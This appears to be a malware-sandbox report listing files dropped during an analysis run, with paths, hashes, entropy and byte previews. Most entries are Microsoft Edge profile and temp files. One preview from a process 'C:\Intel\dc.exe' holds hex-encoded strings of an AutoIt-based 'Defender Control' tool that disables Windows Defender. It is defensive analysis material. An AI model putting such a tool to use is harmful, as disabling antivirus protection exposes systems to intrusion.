SHA-256:	E713C1B13A849D759EBAA6256773F4F1D6DFC0C6A4247EDAA726E0206ECACB00
SHA-512:	E5A49275E056B6628709CF6509A5F33F8D1D1E93125EAA6EC1C7F51BE589FD3D8EA7A59B9639DB586D76A994AD3DC452C7826E4AC0C8C689DD67FF90E33F0B75
Malicious:	false
Preview:	edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	129085
Entropy (8bit):	3.7540186287711013
Encrypted:	false
SSDEEP:	1536:+lIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:beWGP7Eh
MD5:	6698422BEA0359F6D385A4D059C47301
SHA1:	B1107D1F8CC1EF600531ED87CEA1C41B7BE474F6
SHA-256:	2F9188B68640DBF72295F9083A21D674A314721EF06F82DB281CBCB052FF8EC1
SHA-512:	D0CDB3FA21E03F950DBE732832E0939A4C57EDC3B82ADB7A556EBD3A81D219431A440357654DFEA94D415BA00FD7DCBD76F49287D85978D12C224CBFA8C1AD8D
Malicious:	false
Preview:	{.. "models": [.. {.. "name": "techScamTitleModel:2019-10-07",.. "samplingRate": 0.001,.. "bias": -2.03588432962421,.. "terms": [.. {.. "features": [.. "title".. ],.. "delimiters": "\|;.\\/?*!\") ",.. "lengthWeight": -0.235096784475425,.. "tokenWeights": [.. {.. "key": "d8f3f4c31da2fa20a04f3c70536aee37",.. "value": 4.96485538534717.. },.. {.. "key": "902db872ede3fa9e92ed917ae1f2f0c9",.. "value": 16.0666261016159.. },.. {.. "key": "f2eb27b63a38b45c6a6bed8b65c6eeaf",.. "value": 4.27859685905943E-15.. },.. {.. "key": "3c0ee507a9a6de7849f17e20e3e931e1",.. "value": 9.49072317921467.. },.. {.. "key": "a500a663a3dfeebdbac0a28ed87d522c",.. "value": 15.1855052242444.. },..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\b06c181b-371f-4f7f-963c-4f152b71be44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11943
Entropy (8bit):	5.514110159840825
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumgYxoDUfMvEcgZJZK8HiSS:q9iIxuERzA83h09RZxDg/UcgZrK8GC2
MD5:	67FE26BB67D17AD18F279194507D9ED0
SHA1:	40858388BE4E25C55296E02831585A28AFEFE495
SHA-256:	DA6CEEC089EAEB304676D95C9F31D188D1CAABCF5A5CF09079B8F0D9B3063BAD
SHA-512:	154F5776E9D8C08A76573B41042145180CF3B38CEC1A5364B3DE1C60462B350B1D9C66E2362120B77F5CC563D81C32C2A53778D46371C98B5EEF5774E8E08C59
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\cfa5ff69-adbf-4bf2-823c-6e2d7686b2f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11183
Entropy (8bit):	5.525083397717898
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumgYxoDUfWEcgZJZK8HiSEX:q9iIxuERzA83h09RZxDg/AcgZrK8GC2
MD5:	AC7C5B74979AA58E8D693BD1C35D5371
SHA1:	5924BB5AF6F39B6F51B49CAE49EB02FA010FA2D3
SHA-256:	92324CEA856DCCC9F4C384AC2DF05F515D8B34D2C218A24BB3DBD07EAE8BCF16
SHA-512:	90E19C1CB4F03AF4055A8C1A0D27CEDF7D574131212F2578F197EEFDFCE62B5A26B2317C92380446C2FB338AC14F0394AD649F779B2839CF6E732420A484E60B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\Temp\.ses

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.0110578421162
Encrypted:	false
SSDEEP:	3:Lpr+y3yeRQUKnFR2QQ+v:t+eRBKHwQ
MD5:	683BAE4F25019C95DB56600481F843CA
SHA1:	B7133DC68404B58DAEF3755D6F6BC54C7BCEDCD4
SHA-256:	7CBBA029240D64767A8939CE4ECE20A37CC63EDBB9F30306EC851A10033509BB
SHA-512:	7608C714D5A0BDB5DD5B572BC4FEAA6E7FCB65BAF96D7CB1A0BB4CC19066EEDE3FD60534CDD3C856598B960C0259A4C515131FD59B42EA0E932856032DC38164
Malicious:	false
Preview:	1736349528490..BDD6273E-07BD-4518-B4F1-FF01DDEE3977..

C:\Windows\Temp\03a8840f-7420-418e-8003-60d889589bd5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 639508
Category:	dropped
Size (bytes):	1767793
Entropy (8bit):	7.994944655017472
Encrypted:	true
SSDEEP:	49152:mZzOj2l4GB6fhrytVVzmbK+Stpj7XlYATCsC4vIgY:TjFGB6Zry7Vz9Zpj711eAIl
MD5:	17D4E84B502C7427170D782F6C60A8B7
SHA1:	CF800682AC070EDC4EFF2C7342E0A8A32BF93E67
SHA-256:	2DBFC00ECB5C1846BC488D8878FB957AFCB95208427284C3046DF54BA15E50FF
SHA-512:	81BF8D05BEB35E7580D1D692D5AFA7A0CDFD8C2DE72B98D20CEADF6F5D7FFAF06A69541BEC2843D5534C7DD2CCD6A1B9EB40BDEA0714D111318E18E0F8D0934B
Malicious:	false
Preview:	...........}k{.6.._..=>..b$;W...q.w.$...].M..."U......\.R..t....$....s.pm4.c.....8..wQ..p..Q....\|.q..,.....#7.J.fe...q.W.J'E<..\.c.%.9./..6...:I$.n.......>...U.t..gp..=H}~.c.{..7s..r{.8./.w.%/w.......?..q.`.b.;.a.....b.9.a....J..N....F..x....e.n......q$.1.jiG.i......6..0...(..[.ChF.K...,G..C=..3c.g_v.l..a...e..,....P\|;?.N.......0]_w.?...~.Y..J<.....w.~....c..'.eq..f.....$..7....../f.J.n..0....n9..{.......N.......p.....@....D\!....Y.+...fy.Gi.z.4......}..:[s..K.>@..v.Q2....".....).k....dO.B.q..r...P...r..f.p.A.v..'q]....1.U.y4...`..r..v....[.u...yo.....m..Xt.....r.....~.GS5.2.@.......]...3a..u...5g..^>,...a.P..4.J.i....p:.. .n.f.D....JD_=.Y.=...R_>C..v.L..x.{5m.\=.5w....}{.&.\|.>.)~\.H...\|..V...-.yy..\|7...B..!...b..9./.i.....mBi..m..>.".......M.\|...Y!.'....),U.5G#..h%8....qZ.C....t.._a.2......f.e.aL..'..7%........Z.s)...f...v.F@J(.j.s..E.}x......N.../y%.:.$..........D../r~M=..Fy..(.OB......d..%.....I...O.4J ..V<-.4..IQ.pb.b..^..-.O38.

C:\Windows\Temp\16ff67c3-e21a-498b-b2fc-945de01eddcf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 16707
Category:	dropped
Size (bytes):	4015
Entropy (8bit):	7.942829486244974
Encrypted:	false
SSDEEP:	96:6qO65dFso15wMvxpjQsGOm04jp7VFt5luSMa7AAlUzb37:XH5ko1qMgcm0kV5dMdVzb37
MD5:	157FA9B3914DCEF8DADF132F7C41682B
SHA1:	4BF449A8772CA6591FECD5F85FF6230E68D1D0D2
SHA-256:	0D0594A2FD1B90F179081B6261FEB6D113C99C81A854BC7418D7AFB935AF2F46
SHA-512:	36445F35CE2D1756E56397A51D791D7C2B03C2D858A3E9A3385AF6DF9D1F664D8F21E11F5B71ABC399DB914CA2B947713A722E068269AA0B0FEE80A23EC44985
Malicious:	false
Preview:	...........[ms...~..w."..i_:.t.q:.L...G/.\....!.1E..iGM..x#........;IX,..........v.....y.#t./3B...-..<&..zI.8.E..8{.....4G.`.c0...Ct........NO......&a.".._..$.S...LR..]..1...;.Xp8.p...).S.......s9...&..GWA.].NXD19.l.}I0..MJ.w.../6.hI"...d[.w..v4......h2.......j.]...Q......\|..~?.8..<.&@.u)ip5..f..t0....{...h.L.....Q.s....\.x..i>......t...M..{.Z>.......f0..^_W....ljS..O..),{.R..u..u.F....4........0.....K.+.&$.(.1."..x}"Y..I.Fa.C.#N.N..\|.H..'..d...r.nQ.A..i.c.'.R....1Y..........1.=..'.[.._s.....`G`i.70+...X.$.!.oB.l..`m..\|ec.bL.R4.r...E.\|(I.,#Y.dtY.V8.....@.1..q..q..qO.0.....j.[).e..M.}..&i.....n..{....\|:...2.5-q..IXi..U_...."K.....P.j.e0..<.p$..3..>...o...4......;Och...x...FY.......E...`A..5.."..\P..o....&a......op..>.d.3.HWh..'.=.....m.K....V.....4..U.3...a.....y..0]b..-..va..P......wd.;..t.1SgV.s.>...V.J.JE..S...+.H.I..lq.E.!....B...-.K.B..._.....X......0..z..V,...8rt.{.."K.g5....-@...0-.....w.....)......4+v..P=...-.>.....>R.....Z.A`.......

C:\Windows\Temp\211c4a54-0693-4430-8ae4-58868b3ad8f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12587
Category:	dropped
Size (bytes):	3280
Entropy (8bit):	7.938673637935802
Encrypted:	false
SSDEEP:	96:sqkKZz8Yel0T0Lep/NRoRl18zr9eAberZq:z0l0T0LvYr9Fbe1q
MD5:	D1C42E18C3C565B93F63D1D3BD5354A4
SHA1:	F70CFDCE1FD8DB93B7E4FA89FAE1D42F64516338
SHA-256:	2E647EE00104BE49B63358AD01DA9D70AA32E36D56329663442B023B88806458
SHA-512:	6522273071CB7F51EA7E8A86206814B4C9EFDD2F699DA5BF469062448E8E31C84D7567AA7F0AF7FB3E550238C8BB830555099EA2B97DB35469AEB807DBB7C685
Malicious:	false
Preview:	...........Zmo.6..._.-..i.r...h.\....h.,b......ms#..H%...7....%.d....-K.pf8....j.._,.6.I...wo.hFIg..9K...O.G.QD. A.h.@Co..Nnv.......D..d.._2..O......3&..i.P....;..4.iH.K.a.......4.ir.K..1.S.4.i....}J....`.#..Qoo...{.[.\.(y....&..N.c!....y..=kw~....t.?.]..p..].S.....g.....].....N.\|...x..X.w...Y....k.t..{dq.../.<.}....DY......m.v..A..n....G...'.qD_...z.?.x7...}..%.{d.1.r!.[.).......[...........x...7_..L./..wG?....r..\.[...J.......2......n.~X4.x!>.<.._.....L..1\|....VQ......Sb....-k.m...~.......vx.....}.E........KP.j.....,-...HN.4...(Ic.gJI.+...rNi8.....w.0.....^%....J..B".~.k..l.k.A.Y`..!..v.....a...W.1q&F..$...D&g.6`..!..X.0P...?..., ./}".4`.. 1..nv=E0.ph....?..C.fQ.w.N..C5XO$.+.......X....\mW...'Mw.}..(.<....r....Y8.....q7.....P?\v.$8/.a..LT.W..HPg.../.(x..v.j..F..nXD.A...5.)i.g..<.@.q_...._.......F.8.q..`B.L...Qj@.....B>.......N....>......P.9R.....).E......i6!..].!......][9......."..<..R.G_.t,....q....3..\|Auf(..'T.IL.\|N........gz...l.#.z.

C:\Windows\Temp\41ba43ad-a7ed-4b52-a2f8-664bc505d5b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 12280
Category:	dropped
Size (bytes):	3110
Entropy (8bit):	7.933903341619943
Encrypted:	false
SSDEEP:	96:0MWjN1CDThRYxENcEvyGF/8WAr6Fv9MFghzqSl:0MWjN1gRYavR8WjMFQzqSl
MD5:	A83A2746B84F1CF573B02965B72ED592
SHA1:	85CC572D6F90029EB99AAFA56297D1BCA494313A
SHA-256:	DF4B53C1C7C48E80753D4945E6EC7847084F51BF57F0ED9D341326C74651D6EC
SHA-512:	C287F479EF572A06FF191C4E9A8A718507C97A2A45CB265D7DC65DD7922B80D36CE7660EC5D7EA9F3D1F1EF71C51C3E4F3D7973754F97A89B4F14D1B1FDE70DE
Malicious:	false
Preview:	............ko.7......J...../..v....... ....zE.\+.T..f..%wW.$........p8/.....z..\|a...}.#y.`.l..7Kr..T:'.UE,.&.i..Y............h...B.....gJ....%.\.?.f]1R..@3.jHA..eHi&.Q..`....g.__?'3^...@~X..a8............UN..%...&.F..K19".Y:.).L.L..WL..xxD>.P@ ...&'..j..)%.Q\..<!.3n.<#....;.gd2.LZ....x.m&.e.`&;.KX..."...<G....8.R.jsd....g.)..?.$=UVT...#.+g.!.......R..1..#D.k...3.Bj3iT......M..L....}..S.K.....zi..n.A{......n..o.0j..q...w...3.7.N..].>...zK..sr1#.d..Tk..ckB...<....j.a.M1oe.9.jIQ.y+...6.....]....v.X.......q.....a>...2`.WV.v.'..~.3.4.'8...hkT.H..9SOIF.%...;n.6.U....i!...2v.9/.;.....R..8.(..L.b....aY2ps% ."...x.V..Y[.h.....^.........U.....p.'.&m.....6..%pWE....:..o.k...<.....5....j.I...9...f..3.....-..0..D;......S.td/...........^_.v.)y ..Uf..q>.v2...0....o....Y%5;.5fn..{.......p_......B..V.......D.Y.l....q 3...sm.b..!..E....a. &.w.-.s..>..M_...`.0..k.!<SH...9$.....V.\A$..}..8....#`...,...3.W..k...\..xH.1).~.Y.L1.O...\.....k.....s..i+.....).0

C:\Windows\Temp\8cca3833-7f4c-4eae-be12-c1e04cbbfeb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 981644
Category:	dropped
Size (bytes):	238985
Entropy (8bit):	7.9982970462170595
Encrypted:	true
SSDEEP:	6144:PswrfZ/Mb6NjE7lzl4mC2zAWPo4GIs4RU4afLP62H2bCuzs/9u:PrLBqZzl82zzPStVT626S9u
MD5:	F6B8BAAC3BBC33B052A0C5465E82FA14
SHA1:	CDAA5FB23B39E27554C78E8A8E9F8842543C1FBE
SHA-256:	310919D96F428159AEDB25891DF1F384B64E3C4B81BEAB7FE8E8ED923DDF3979
SHA-512:	E6CFE3119576769ECC2F09C62B1E10DB429525FD96F4967824E42E92DFC0B23E3EC5D2D7360DC98C7B1024FF6E4A6FEA2F07F469973B7F13D850582C897C2ED5
Malicious:	false
Preview:	...........<.s.....8;...).r....$..4.sb.)73..G.D".....V-..o?..w.(.n.i;.P$p......t...e.-W....x.p..8Y)q...u..aS..J..0....RZU...L..V.<...B.M.(.....sY^..P.X\.)..?...e.D.%..i.J."..X(.tV6E...+........,W.;....W..F..L.}..TQ.(.j&t]e.r".,...Y/Tu}-.O...yV.{i.."W{.zS...%.r.BVw...Z.<~..Z..z.+=.e}VV....\..D.._TR.MUnTU_N..\.A4.n6...cq...&.8...+q..I..E........!F......#@J.@.>.}.u...-J0.I.R@..h.H^d)...i..\..j........OC...+%.K...5....Z..n.......2@...&W3.uO.8.'...s>.o......'...}...\..\|f...cd.RvK..q....3.........o.>........t......e.....@.h.Tq......10.'\|;S..XuI.4.;n.o..i...jl..T......=I.E."....(.I.....m>.<..Q<...D.@".d...:{A'..=...A...J\|........z....x..+Dvf.t....0...+...cs.Z..Xp.8>f;.N.iN.....w..@u...Y..,.J.8..%...R.q.1$i't...c7_..@.......a.....!...A...'.0.........yc..._......2O.....[.->7C....i0.v5q.M.!.*dA@.(...y F..r......Rv.#.[..r[>p..-s.vc....9.,@...<....I`._..I.mZ..'.. ..r.R..g...[U.%0.....a..\|.;......[.]=X...,...~m@O...8....<...A."....Y./....i..p....O

C:\Windows\Temp\aut5B61.tmp

Download File

Process:	C:\Intel\dc.exe
File Type:	data
Category:	dropped
Size (bytes):	33220
Entropy (8bit):	7.730918275075489
Encrypted:	false
SSDEEP:	768:ucjZIYG6A8kiHIgH82NNkIY6zAXohupeNISgTBuda:ul8kpg9NW6vhupUISgoda
MD5:	7F08F61D0CB3BDEF38867217FD81B787
SHA1:	1F487054BD6D22A1FBD3A5AAD610B2897D389D2F
SHA-256:	145D1A291D7962F9C4D2A4FC0323CD1357EFB26F8030E580762DB55022D7BF84
SHA-512:	6E4A84D4BD2D1E52CBB197FF6E04A81C6634D03860522B13D3D8B1B4C90CAB139667AEF4ACCB41480434434F8BA247C3064C252388012A3052DCD7E7D4A98A39
Malicious:	false
Preview:	.p.%.....Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.:..qA..f.y..i9... ....VMf.i..k3.M..<..Lf....g6........F...9...A....o6.....`...\|'..@....Q@...q7...bg1.Qf`... f....S7.L.....mE.....4..M...eD..& ......~&S...o9..&Sj..k6..(`...@.....g4...-...gA.M..>...o6.(...K3)..g1..fT@..e3..<ji0.....L.6...i..`.9.....0N@Y...h.9..Wb.4.........F.j.S..`....&si....../.#..Br....h...).....a2... ?..p.tQ..`..n.-.. .(....`#l...;H.@....@..m9..@.8.pL......`...S....(...'......... .......4.o7...\|3Y.....2(.9..e5...\|.....}M..>..`....&.I...2.`h`U...d.k..B&.......8.... .S...f.P...n...&\|.V...f.`..i8.P.. .wfsP3..9 ._..t....p..mD.M........\|..l.h.8..nb.\|....?........ .....................`0......nh.@&.;3z..2....*.w..$..Q.&..#6.P..... .....3.......D...6..& ..%.1..&..Z..&3`........i6..f.@...@..5.......I. ..5....3`...k@k^...`" . ..`\|..X..'.....k@pD..{.T.........`.T.. l_.3..I.....e...........1.a.....@4............i5..&.@...S....... ...^........O 7...AD .l... .......W........\|.L.....<NAk.....`..@...f......../....(... Y.

C:\Windows\Temp\e1387168-b3f7-4dc6-85be-1da7664af66b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 43805
Category:	dropped
Size (bytes):	28748
Entropy (8bit):	7.9918576871001425
Encrypted:	true
SSDEEP:	384:SU7ZPeF1W3JgUrqaO/8dOcbwy59NjS5BMYGYycIfPhrVx2NtsEeSeFzVXe/rxd:H7peFkZL9RZSz3gnhhGcpXetd
MD5:	2A37AD0EC191D53104BB46953AC6C43C
SHA1:	FD23FFC5B7E4A6B45FBD88A486D15FAA51DC07AE
SHA-256:	51F075EB69486CB23B32A0776782B4A1B2AF204429AB94510469E02B115E56CC
SHA-512:	AEB91CB7902A800D7B0C43627EC2B52121BC41BA29A1B6ABEDBFCFA4802254A0594ED239EA7A3F8D40241E43D436428D1E4AC117BD97269D78460F82F9BDCF68
Malicious:	false
Preview:	...........Zms.6..._..p..[.(.b[...M....N{..t ...S.......v...H.q.g:....]...p..6I8_d...C.\p.X$.2.p.g.8I}8.".D)$<..O...}.J9.3..a.i.'...x.....5O...x......I.M.!.'\.l.2.0.cN.fq....\......7..,......>.p...w&.KS.......(O.V>......O.r..V~J.`....U(..Y..MIy..w..g0e......D.,L..y..N.+..._....O.h.]...V....r................O.\|.:....Li..>COy......N.h.......R....Q%.,Xr.y...G8=.A....!8(..L....c....sA....t.Vl:...v...G;...^.l...#.t.>...k..d..kr...B......Pb.0..!..;9.....:~....j;....j.O..!B......?....^.]....;...[.g.B...%..'.7;.9.>..gP. p8...:.5l.Y.....Jp..R,.?..b..8O......h.X(..G.).Cz.C..%....x.ET.....AEi.../..0.. ....k.t...wl..e...H.i.F.....?.....z...?..........(../.O..R.?.4..7...j ..Q.....l..ob!..A..j...@..!).....K...MW.U.N.......W..Bh'8.'.y....Y.[o...PI..W....i...r.e..=.k^.WC..Uy.j..687^.z.#u5.4O...........-j.j3..L.1..F...8.......@l.9.c.aGC.R.&..j.Q-av?...[4.E..T8....u..+9.<.n.Qw.D..N..S..3.D...... .%C.j.7.Y.s(.0wq.ZI.#''#..[K.GJ ....4.....?

C:\Windows\Temp\qucaygl

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	111542
Entropy (8bit):	3.429028761339644
Encrypted:	false
SSDEEP:	768:W62wUDwXu72ncwnSI6MMKWEFcwE66CpHNc+L5BLjZhvDyR4V7rS8uo:W62wUDwXNncwnSI6MMK3cmQ4HDZSJo
MD5:	D1A0850A8B128575034B94F0BD05318B
SHA1:	2064B00E81B2D0AFA60D561CCCA2D2C82D9C8414
SHA-256:	C40566AA7677F27F3A633FFD1A98F80FC60EB0B5B1487B756850504E5B462501
SHA-512:	64A1587E6E6FDB6AAC284D8C5A395385BE9605DB391C718CAF0F5F78359A8627D486C9CA6FDD1A253F0F26321FD76695B6EAC44662F87F4AC69D2873CCC679E5
Malicious:	false
Preview:	4D7573744465636C61726556617273[08AEi4755495F52554E4445464D5347[08AEi47554944617461536570617261746F7243686172[08AEi57696E44657465637448696464656E54657874[08AEi312E37[08AEi446566656E64657220436F6E74726F6C[08AEi202D20417574686F7220627920426C75654C696665[08AEi5B434C4153533A64436F6E74726F6C3A76[08AEi5D[08AEi323031352D32303231[08AEi2040557365724E616D6520[08AEi2040436F6D70696C656420[08AEi20404175746F497445786520[08AEi20404F534172636820[08AEi20404175746F497458363420[08AEi20404F5356657273696F6E20[08AEi57696E446566656E64[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321[08AEi204053637269707444697220[08AEi204057696E646F777344697220[08AEi53797374656D33325C[08AEi2040576F726B696E6744697220[08AEi6B65726E656C33322E646C6C[08AEi7573657233322E646C6C[08AEi61647661706933322E646C6C[08AEi7368656C6C33322E646C6C[08AEi6F6C6533322E646C6C[08A

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640155202630497
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7B:fwUQC5VwBIiElEd2K57P7B
MD5:	572246195E5524B992938DC55503921B
SHA1:	265E0E09C398130101A0DA4C840721E62A55680F
SHA-256:	3A59592844E646DFA33585C662C5CEEAD539B7E872D7DC50851B6AF7B1B71862
SHA-512:	60D522408FA15CDD08C278DBFD27F27AAA5C04E095114AE06F25F72660B6289E80A45F7F853EFDA4B67D2664B8183D8299A5EE194C6D4469EAF05ACBD9C93A02
Malicious:	false
